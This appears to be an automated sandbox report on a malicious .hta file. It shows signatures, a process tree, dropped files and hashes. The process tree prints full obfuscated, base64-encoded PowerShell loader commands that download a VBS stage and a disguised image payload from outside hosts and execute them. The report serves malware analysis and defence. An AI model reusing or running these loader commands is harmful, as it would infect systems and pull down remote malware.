Analysis

  • max time kernel
    16s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    05/02/2025, 03:44

General

  • Target
    53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128.hta
  • Size 14KB
  • Sample250205-eamylazjcj
  • SHA256 53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2832
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hsa1levb.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2740
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA9B8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA9B7.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2808
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1764
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBpAHQAcwBlAGIAeQBtAHIAbwBmAGQAbwBvAGcAcwBzAGUAbgB0AGEAZQByAGcAaAB0AGkAdwBzAGcAbgBpAGgAdAB0AHMAZQBiAGUAaAB0AGUAZQBzAC8AMAAzADQALwAyADcALgA3AC4AOAA2ADEALgA0ADAAMQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMwAzADQANQAzADMALwBhAGwAYwBiADQAaAB0AG8AbAB6AHYAZgBoAHoAegB1AGYAcQBoADUALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2056

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        CabBC11.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\CabBC11.tmp
        • Size 70KB
        • SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
        • MD5 SHA1 SHA512 SSDEEP

        RESA9B8.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\RESA9B8.tmp
        • Size 1KB
        • SHA256 42f9867aeec06086c3b480d6250deb31fca1539dcf0c3c80f72813d31f67f358
        • MD5 SHA1 SHA512

        TarBC42.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\TarBC42.tmp
        • Size 181KB
        • SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
        • MD5 SHA1 SHA512 SSDEEP

        hsa1levb.dll

        • Path C:\Users\Admin\AppData\Local\Temp\hsa1levb.dll
        • Size 3KB
        • SHA256 e55aebec9e44421684cf1813fbc7f04a374422ee3bde89caf7c184ea23aed293
        • MD5 SHA1 SHA512

        hsa1levb.pdb

        • Path C:\Users\Admin\AppData\Local\Temp\hsa1levb.pdb
        • Size 7KB
        • SHA256 9d42792ac148d322cc6437cbd06c3f0fe6a13f803229dbd2f899d0772f6cdda0
        • MD5 SHA1 SHA512 SSDEEP

        d93f411851d7c929.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
        • Size 7KB
        • SHA256 15d8dce7d60de8207be457d6d3e4e7dc2738c05fe3d1ef0f9d8af49d860f8e57
        • MD5 SHA1 SHA512 SSDEEP

        goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs

        • Path C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs
        • Size 223KB
        • SHA256 048099ca7e2e55ad822eb367fcc5b7e5ecf98557651825a03c34ca8373120139
        • MD5 SHA1 SHA512 SSDEEP

        CSCA9B7.tmp

        • Path \??\c:\Users\Admin\AppData\Local\Temp\CSCA9B7.tmp
        • Size 652B
        • SHA256 013d4890f778e3883b3d12c179250ff593cb4b6c6183dc3f9a922f1eccf4a057
        • MD5 SHA1 SHA512

        hsa1levb.0.cs

        • Path \??\c:\Users\Admin\AppData\Local\Temp\hsa1levb.0.cs
        • Size 465B
        • SHA256 59fb5ee2f23beec8c2623d2686a7b52d2eaf786f90869990d525facc2a2da7fa
        • MD5 SHA1 SHA512

        hsa1levb.cmdline

        • Path \??\c:\Users\Admin\AppData\Local\Temp\hsa1levb.cmdline
        • Size 309B
        • SHA256 ad521a50c9fd9398a2e522bf71b5e47c4601a496c6759ef7fcbbd16b002b1df9
        • MD5 SHA1 SHA512